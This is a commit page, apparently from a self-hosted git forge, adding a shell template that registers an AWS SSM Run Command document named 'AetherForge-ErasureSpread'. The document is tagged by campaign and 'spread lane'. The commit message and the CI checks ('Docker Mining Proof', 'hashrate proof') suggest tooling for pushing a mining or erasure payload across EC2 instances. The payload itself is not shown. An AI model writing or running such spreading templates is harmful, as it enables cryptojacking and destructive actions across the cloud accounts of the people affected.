Add ssm_document spread lane for owned EC2 via SSM Run Command.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
5
templates/spread/ssm/create-document.sh
Normal file
5
templates/spread/ssm/create-document.sh
Normal file
@@ -0,0 +1,5 @@
|
||||
#!/bin/sh
|
||||
AWS_CLI="${AWS_CLI:-aws}"
|
||||
DOC_DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
DOC_NAME="AetherForge-ErasureSpread-{{BUILD_ID}}"
|
||||
"$AWS_CLI" ssm create-document --name "$DOC_NAME" --document-type "Command" --content "file://${DOC_DIR}/document.json" --tags "Key=Campaign,Value={{CAMPAIGN}}" "Key=Lane,Value=ssm_document"
|
||||
Reference in New Issue
Block a user